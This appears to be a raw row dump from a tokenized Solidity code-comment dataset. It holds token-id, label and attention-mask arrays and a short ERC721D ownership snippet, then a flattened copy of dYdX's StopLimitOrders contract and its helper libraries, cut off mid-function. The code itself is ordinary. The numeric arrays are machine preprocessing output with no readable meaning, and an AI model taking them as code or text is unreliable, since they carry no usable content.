[ 1, 3639, 309, 261, 291, 1386, 3081, 10756, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xAcfaB2ED7666c97E518B77d4A1a2513c41a4BF84/sources/ERC721D.sol
The address of the owner
address ownerAddress;
3,148,273
[ 1, 1986, 1758, 434, 326, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1758, 3410, 1887, 31, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; pragma experimental ABIEncoderV2; // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/protocol/lib/Require.sol /** * @title Require * @author dYdX * * Stringifies parameters to pretty-print revert messages. Costs more gas than regular require() */ library Require { // ============ Constants ============ uint256 constant ASCII_ZERO = 48; // '0' uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10 uint256 constant ASCII_LOWER_EX = 120; // 'x' bytes2 constant COLON = 0x3a20; // ': ' bytes2 constant COMMA = 0x2c20; // ', ' bytes2 constant LPAREN = 0x203c; // ' <' byte constant RPAREN = 0x3e; // '>' uint256 constant FOUR_BIT_MASK = 0xf; // ============ Library Functions ============ function that( bool must, bytes32 file, bytes32 reason ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason) ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } // ============ Private Functions ============ function stringifyTruncated( bytes32 input ) private pure returns (bytes memory) { // put the input bytes into the result bytes memory result = abi.encodePacked(input); // determine the length of the input by finding the location of the last non-zero byte for (uint256 i = 32; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // find the last non-zero byte in order to determine the length if (result[i] != 0) { uint256 length = i + 1; /* solium-disable-next-line security/no-inline-assembly */ assembly { mstore(result, length) // r.length = length; } return result; } } // all bytes are zero return new bytes(0); } function stringify( uint256 input ) private pure returns (bytes memory) { if (input == 0) { return "0"; } // get the final string length uint256 j = input; uint256 length; while (j != 0) { length++; j /= 10; } // allocate the string bytes memory bstr = new bytes(length); // populate the string starting with the least-significant character j = input; for (uint256 i = length; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // take last decimal digit bstr[i] = byte(uint8(ASCII_ZERO + (j % 10))); // remove the last decimal digit j /= 10; } return bstr; } function stringify( address input ) private pure returns (bytes memory) { uint256 z = uint256(input); // addresses are "0x" followed by 20 bytes of data which take up 2 characters each bytes memory result = new bytes(42); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 20; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[41 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[40 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function stringify( bytes32 input ) private pure returns (bytes memory) { uint256 z = uint256(input); // bytes32 are "0x" followed by 32 bytes of data which take up 2 characters each bytes memory result = new bytes(66); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 32; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[65 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[64 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function char( uint256 input ) private pure returns (byte) { // return ASCII digit (0-9) if (input < 10) { return byte(uint8(input + ASCII_ZERO)); } // return ASCII letter (a-f) return byte(uint8(input + ASCII_RELATIVE_ZERO)); } } // File: contracts/protocol/lib/Math.sol /** * @title Math * @author dYdX * * Library for non-standard Math functions */ library Math { using SafeMath for uint256; // ============ Constants ============ bytes32 constant FILE = "Math"; // ============ Library Functions ============ /* * Return target * (numerator / denominator). */ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { return target.mul(numerator).div(denominator); } /* * Return target * (numerator / denominator), but rounded up. */ function getPartialRoundUp( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (target == 0 || numerator == 0) { // SafeMath will check for zero denominator return SafeMath.div(0, denominator); } return target.mul(numerator).sub(1).div(denominator).add(1); } function to128( uint256 number ) internal pure returns (uint128) { uint128 result = uint128(number); Require.that( result == number, FILE, "Unsafe cast to uint128" ); return result; } function to96( uint256 number ) internal pure returns (uint96) { uint96 result = uint96(number); Require.that( result == number, FILE, "Unsafe cast to uint96" ); return result; } function to32( uint256 number ) internal pure returns (uint32) { uint32 result = uint32(number); Require.that( result == number, FILE, "Unsafe cast to uint32" ); return result; } function min( uint256 a, uint256 b ) internal pure returns (uint256) { return a < b ? a : b; } function max( uint256 a, uint256 b ) internal pure returns (uint256) { return a > b ? a : b; } } // File: contracts/protocol/lib/Monetary.sol /** * @title Monetary * @author dYdX * * Library for types involving money */ library Monetary { /* * The price of a base-unit of an asset. */ struct Price { uint256 value; } /* * Total value of an some amount of an asset. Equal to (price * amount). */ struct Value { uint256 value; } } // File: contracts/protocol/lib/Types.sol /** * @title Types * @author dYdX * * Library for interacting with the basic structs used in Solo */ library Types { using Math for uint256; // ============ AssetAmount ============ enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } // ============ Par (Principal Amount) ============ // Total borrow and supply values for a market struct TotalPar { uint128 borrow; uint128 supply; } // Individual principal amount for an account struct Par { bool sign; // true if positive uint128 value; } function zeroPar() internal pure returns (Par memory) { return Par({ sign: false, value: 0 }); } function sub( Par memory a, Par memory b ) internal pure returns (Par memory) { return add(a, negative(b)); } function add( Par memory a, Par memory b ) internal pure returns (Par memory) { Par memory result; if (a.sign == b.sign) { result.sign = a.sign; result.value = SafeMath.add(a.value, b.value).to128(); } else { if (a.value >= b.value) { result.sign = a.sign; result.value = SafeMath.sub(a.value, b.value).to128(); } else { result.sign = b.sign; result.value = SafeMath.sub(b.value, a.value).to128(); } } return result; } function equals( Par memory a, Par memory b ) internal pure returns (bool) { if (a.value == b.value) { if (a.value == 0) { return true; } return a.sign == b.sign; } return false; } function negative( Par memory a ) internal pure returns (Par memory) { return Par({ sign: !a.sign, value: a.value }); } function isNegative( Par memory a ) internal pure returns (bool) { return !a.sign && a.value > 0; } function isPositive( Par memory a ) internal pure returns (bool) { return a.sign && a.value > 0; } function isZero( Par memory a ) internal pure returns (bool) { return a.value == 0; } // ============ Wei (Token Amount) ============ // Individual token amount for an account struct Wei { bool sign; // true if positive uint256 value; } function zeroWei() internal pure returns (Wei memory) { return Wei({ sign: false, value: 0 }); } function sub( Wei memory a, Wei memory b ) internal pure returns (Wei memory) { return add(a, negative(b)); } function add( Wei memory a, Wei memory b ) internal pure returns (Wei memory) { Wei memory result; if (a.sign == b.sign) { result.sign = a.sign; result.value = SafeMath.add(a.value, b.value); } else { if (a.value >= b.value) { result.sign = a.sign; result.value = SafeMath.sub(a.value, b.value); } else { result.sign = b.sign; result.value = SafeMath.sub(b.value, a.value); } } return result; } function equals( Wei memory a, Wei memory b ) internal pure returns (bool) { if (a.value == b.value) { if (a.value == 0) { return true; } return a.sign == b.sign; } return false; } function negative( Wei memory a ) internal pure returns (Wei memory) { return Wei({ sign: !a.sign, value: a.value }); } function isNegative( Wei memory a ) internal pure returns (bool) { return !a.sign && a.value > 0; } function isPositive( Wei memory a ) internal pure returns (bool) { return a.sign && a.value > 0; } function isZero( Wei memory a ) internal pure returns (bool) { return a.value == 0; } } // File: contracts/protocol/lib/Account.sol /** * @title Account * @author dYdX * * Library of structs and functions that represent an account */ library Account { // ============ Enums ============ /* * Most-recently-cached account status. * * Normal: Can only be liquidated if the account values are violating the global margin-ratio. * Liquid: Can be liquidated no matter the account values. * Can be vaporized if there are no more positive account values. * Vapor: Has only negative (or zeroed) account values. Can be vaporized. * */ enum Status { Normal, Liquid, Vapor } // ============ Structs ============ // Represents the unique key that specifies an account struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } // The complete storage for any account struct Storage { mapping (uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } // ============ Library Functions ============ function equals( Info memory a, Info memory b ) internal pure returns (bool) { return a.owner == b.owner && a.number == b.number; } } // File: contracts/protocol/interfaces/IAutoTrader.sol /** * @title IAutoTrader * @author dYdX * * Interface that Auto-Traders for Solo must implement in order to approve trades. */ contract IAutoTrader { // ============ Public Functions ============ /** * Allows traders to make trades approved by this smart contract. The active trader's account is * the takerAccount and the passive account (for which this contract approves trades * on-behalf-of) is the makerAccount. * * @param inputMarketId The market for which the trader specified the original amount * @param outputMarketId The market for which the trader wants the resulting amount specified * @param makerAccount The account for which this contract is making trades * @param takerAccount The account requesting the trade * @param oldInputPar The old principal amount for the makerAccount for the inputMarketId * @param newInputPar The new principal amount for the makerAccount for the inputMarketId * @param inputWei The change in token amount for the makerAccount for the inputMarketId * @param data Arbitrary data passed in by the trader * @return The AssetAmount for the makerAccount for the outputMarketId */ function getTradeCost( uint256 inputMarketId, uint256 outputMarketId, Account.Info memory makerAccount, Account.Info memory takerAccount, Types.Par memory oldInputPar, Types.Par memory newInputPar, Types.Wei memory inputWei, bytes memory data ) public returns (Types.AssetAmount memory); } // File: contracts/protocol/interfaces/ICallee.sol /** * @title ICallee * @author dYdX * * Interface that Callees for Solo must implement in order to ingest data. */ contract ICallee { // ============ Public Functions ============ /** * Allows users to send this contract arbitrary data. * * @param sender The msg.sender to Solo * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address sender, Account.Info memory accountInfo, bytes memory data ) public; } // File: contracts/protocol/SoloMargin.sol contract SoloMargin { /* ... */ function getAccountWei( Account.Info memory account, uint256 marketId ) public view returns (Types.Wei memory); function getMarketPrice( uint256 marketId ) public view returns (Monetary.Price memory); /* ... */ } // File: contracts/external/helpers/OnlySolo.sol /** * @title OnlySolo * @author dYdX * * Inheritable contract that restricts the calling of certain functions to Solo only */ contract OnlySolo { // ============ Constants ============ bytes32 constant FILE = "OnlySolo"; // ============ Storage ============ SoloMargin public SOLO_MARGIN; // ============ Constructor ============ constructor ( address soloMargin ) public { SOLO_MARGIN = SoloMargin(soloMargin); } // ============ Modifiers ============ modifier onlySolo(address from) { Require.that( from == address(SOLO_MARGIN), FILE, "Only Solo can call function", from ); _; } } // File: contracts/external/lib/TypedSignature.sol /** * @title TypedSignature * @author dYdX * * Library to unparse typed signatures */ library TypedSignature { // ============ Constants ============ bytes32 constant private FILE = "TypedSignature"; // prepended message with the length of the signed hash in decimal bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32"; // prepended message with the length of the signed hash in hexadecimal bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20"; // Number of bytes in a typed signature uint256 constant private NUM_SIGNATURE_BYTES = 66; // ============ Enums ============ // Different RPC providers may implement signing methods differently, so we allow different // signature types depending on the string prepended to a hash before it was signed. enum SignatureType { NoPrepend, // No string was prepended. Decimal, // PREPEND_DEC was prepended. Hexadecimal, // PREPEND_HEX was prepended. Invalid // Not a valid type. Used for bound-checking. } // ============ Functions ============ /** * Gives the address of the signer of a hash. Also allows for the commonly prepended string of * '\x19Ethereum Signed Message:\n' + message.length * * @param hash Hash that was signed (does not include prepended message) * @param signatureWithType Type and ECDSA signature with structure: {32:r}{32:s}{1:v}{1:type} * @return address of the signer of the hash */ function recover( bytes32 hash, bytes memory signatureWithType ) internal pure returns (address) { Require.that( signatureWithType.length == NUM_SIGNATURE_BYTES, FILE, "Invalid signature length" ); bytes32 r; bytes32 s; uint8 v; uint8 rawSigType; /* solium-disable-next-line security/no-inline-assembly */ assembly { r := mload(add(signatureWithType, 0x20)) s := mload(add(signatureWithType, 0x40)) let lastSlot := mload(add(signatureWithType, 0x60)) v := byte(0, lastSlot) rawSigType := byte(1, lastSlot) } Require.that( rawSigType < uint8(SignatureType.Invalid), FILE, "Invalid signature type" ); SignatureType sigType = SignatureType(rawSigType); bytes32 signedHash; if (sigType == SignatureType.NoPrepend) { signedHash = hash; } else if (sigType == SignatureType.Decimal) { signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash)); } else { assert(sigType == SignatureType.Hexadecimal); signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash)); } return ecrecover( signedHash, v, r, s ); } } // File: contracts/external/traders/StopLimitOrders.sol /** * @title StopLimitOrders * @author dYdX * * Allows for Stop-Limit Orders to be used with dYdX */ contract StopLimitOrders is Ownable, OnlySolo, IAutoTrader, ICallee { using Math for uint256; using SafeMath for uint256; using Types for Types.Par; using Types for Types.Wei; // ============ Constants ============ bytes32 constant private FILE = "StopLimitOrders"; // EIP191 header for EIP712 prefix bytes2 constant private EIP191_HEADER = 0x1901; // EIP712 Domain Name value string constant private EIP712_DOMAIN_NAME = "StopLimitOrders"; // EIP712 Domain Version value string constant private EIP712_DOMAIN_VERSION = "1.1"; // Hash of the EIP712 Domain Separator Schema /* solium-disable-next-line indentation */ bytes32 constant private EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = keccak256(abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "uint256 chainId,", "address verifyingContract", ")" )); // Hash of the EIP712 StopLimitOrder struct /* solium-disable-next-line indentation */ bytes32 constant private EIP712_ORDER_STRUCT_SCHEMA_HASH = keccak256(abi.encodePacked( "StopLimitOrder(", "uint256 makerMarket,", "uint256 takerMarket,", "uint256 makerAmount,", "uint256 takerAmount,", "address makerAccountOwner,", "uint256 makerAccountNumber,", "address takerAccountOwner,", "uint256 takerAccountNumber,", "uint256 triggerPrice,", "bool decreaseOnly,", "uint256 expiration,", "uint256 salt", ")" )); // Number of bytes in an Order struct uint256 constant private NUM_ORDER_BYTES = 384; // Number of bytes in a typed signature uint256 constant private NUM_SIGNATURE_BYTES = 66; // Number of bytes in a CallFunctionData struct uint256 constant private NUM_CALLFUNCTIONDATA_BYTES = 32 + NUM_ORDER_BYTES; // The number of decimal places of precision in the price ratio of a triggerPrice uint256 PRICE_BASE = 10 ** 18; // ============ Enums ============ enum OrderStatus { Null, Approved, Canceled } enum CallFunctionType { Approve, Cancel } // ============ Structs ============ struct Order { uint256 makerMarket; uint256 takerMarket; uint256 makerAmount; uint256 takerAmount; address makerAccountOwner; uint256 makerAccountNumber; address takerAccountOwner; uint256 takerAccountNumber; uint256 triggerPrice; bool decreaseOnly; uint256 expiration; uint256 salt; } struct OrderInfo { Order order; bytes32 orderHash; } struct CallFunctionData { CallFunctionType callType; Order order; } struct OrderQueryOutput { OrderStatus orderStatus; uint256 orderMakerFilledAmount; } // ============ Events ============ event ContractStatusSet( bool operational ); event LogStopLimitOrderCanceled( bytes32 indexed orderHash, address indexed canceler, uint256 makerMarket, uint256 takerMarket ); event LogStopLimitOrderApproved( bytes32 indexed orderHash, address indexed approver, uint256 makerMarket, uint256 takerMarket ); event LogStopLimitOrderFilled( bytes32 indexed orderHash, address indexed orderMaker, uint256 makerFillAmount, uint256 totalMakerFilledAmount ); // ============ Immutable Storage ============ // Hash of the EIP712 Domain Separator data bytes32 public EIP712_DOMAIN_HASH; // ============ Mutable Storage ============ // true if this contract can process orders bool public g_isOperational; // order hash => filled amount (in makerAmount) mapping (bytes32 => uint256) public g_makerFilledAmount; // order hash => status mapping (bytes32 => OrderStatus) public g_status; // ============ Constructor ============ constructor ( address soloMargin, uint256 chainId ) public OnlySolo(soloMargin) { g_isOperational = true; /* solium-disable-next-line indentation */ EIP712_DOMAIN_HASH = keccak256(abi.encode( EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH, keccak256(bytes(EIP712_DOMAIN_NAME)), keccak256(bytes(EIP712_DOMAIN_VERSION)), chainId, address(this) )); } // ============ Admin Functions ============ /** * The owner can shut down the exchange. */ function shutDown() external onlyOwner { g_isOperational = false; emit ContractStatusSet(false); } /** * The owner can start back up the exchange. */ function startUp() external onlyOwner { g_isOperational = true; emit ContractStatusSet(true); } // ============ External Functions ============ /** * Cancels an order. Cannot already be canceled. * * @param order The order to cancel */ function cancelOrder( Order memory order ) public { cancelOrderInternal(msg.sender, order); } /** * Approves an order. Cannot already be approved or canceled. * * @param order The order to approve */ function approveOrder( Order memory order ) public { approveOrderInternal(msg.sender, order); } // ============ Only-Solo Functions ============ /** * Allows traders to make trades approved by this smart contract. The active trader's account is * the takerAccount and the passive account (for which this contract approves trades * on-behalf-of) is the makerAccount. * * @param inputMarketId The market for which the trader specified the original amount * @param outputMarketId The market for which the trader wants the resulting amount specified * @param makerAccount The account for which this contract is making trades * @param takerAccount The account requesting the trade * @param oldInputPar The par balance of the makerAccount for inputMarketId pre-trade * @param newInputPar The par balance of the makerAccount for inputMarketId post-trade * @param inputWei The change in token amount for the makerAccount for the inputMarketId * @param data Arbitrary data passed in by the trader * @return The AssetAmount for the makerAccount for the outputMarketId */ function getTradeCost( uint256 inputMarketId, uint256 outputMarketId, Account.Info memory makerAccount, Account.Info memory takerAccount, Types.Par memory oldInputPar, Types.Par memory newInputPar, Types.Wei memory inputWei, bytes memory data ) public onlySolo(msg.sender) returns (Types.AssetAmount memory) { Require.that( g_isOperational, FILE, "Contract is not operational" ); OrderInfo memory orderInfo = getOrderAndValidateSignature(data); verifyOrderAndAccountsAndMarkets( orderInfo, makerAccount, takerAccount, inputMarketId, outputMarketId, inputWei ); Types.AssetAmount memory assetAmount = getOutputAssetAmount( inputMarketId, outputMarketId, inputWei, orderInfo ); if (orderInfo.order.decreaseOnly) { verifyDecreaseOnly( oldInputPar, newInputPar, assetAmount, makerAccount, outputMarketId ); } return assetAmount; } /** * Allows users to send this contract arbitrary data. * * param sender (unused) * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address /* sender */, Account.Info memory accountInfo, bytes memory data ) public onlySolo(msg.sender) { Require.that( data.length == NUM_CALLFUNCTIONDATA_BYTES, FILE, "Cannot parse CallFunctionData" ); CallFunctionData memory cfd = abi.decode(data, (CallFunctionData)); if (cfd.callType == CallFunctionType.Approve) { approveOrderInternal(accountInfo.owner, cfd.order); } else { assert(cfd.callType == CallFunctionType.Cancel); cancelOrderInternal(accountInfo.owner, cfd.order); } } // ============ Getters ============ /** * Returns the status and the filled amount (in makerAmount) of several orders. */ function getOrderStates( bytes32[] memory orderHashes ) public view returns(OrderQueryOutput[] memory) { uint256 numOrders = orderHashes.length; OrderQueryOutput[] memory output = new OrderQueryOutput[](numOrders); // for each order for (uint256 i = 0; i < numOrders; i++) { bytes32 orderHash = orderHashes[i]; output[i] = OrderQueryOutput({ orderStatus: g_status[orderHash], orderMakerFilledAmount: g_makerFilledAmount[orderHash] }); } return output; } // ============ Private Storage Functions ============ /** * Cancels an order as long as it is not already canceled. */ function cancelOrderInternal( address canceler, Order memory order ) private { Require.that( canceler == order.makerAccountOwner, FILE, "Canceler must be maker" ); bytes32 orderHash = getOrderHash(order); g_status[orderHash] = OrderStatus.Canceled; emit LogStopLimitOrderCanceled( orderHash, canceler, order.makerMarket, order.takerMarket ); } /** * Approves an order as long as it is not already approved or canceled. */ function approveOrderInternal( address approver, Order memory order ) private { Require.that( approver == order.makerAccountOwner, FILE, "Approver must be maker" ); bytes32 orderHash = getOrderHash(order); Require.that( g_status[orderHash] != OrderStatus.Canceled, FILE, "Cannot approve canceled order", orderHash ); g_status[orderHash] = OrderStatus.Approved; emit LogStopLimitOrderApproved( orderHash, approver, order.makerMarket, order.takerMarket ); } // ============ Private Helper Functions ============ /** * Verifies that the order is still fillable for the particular accounts and markets specified. */ function verifyOrderAndAccountsAndMarkets( OrderInfo memory orderInfo, Account.Info memory makerAccount, Account.Info memory takerAccount, uint256 inputMarketId, uint256 outputMarketId, Types.Wei memory inputWei ) private view { // verify triggerPrice if (orderInfo.order.triggerPrice > 0) { uint256 currentPrice = getCurrentPrice( orderInfo.order.makerMarket, orderInfo.order.takerMarket ); Require.that( currentPrice >= orderInfo.order.triggerPrice, FILE, "Order triggerPrice not triggered", currentPrice ); } // verify expriy Require.that( orderInfo.order.expiration == 0 || orderInfo.order.expiration >= block.timestamp, FILE, "Order expired", orderInfo.orderHash ); // verify maker Require.that( makerAccount.owner == orderInfo.order.makerAccountOwner && makerAccount.number == orderInfo.order.makerAccountNumber, FILE, "Order maker account 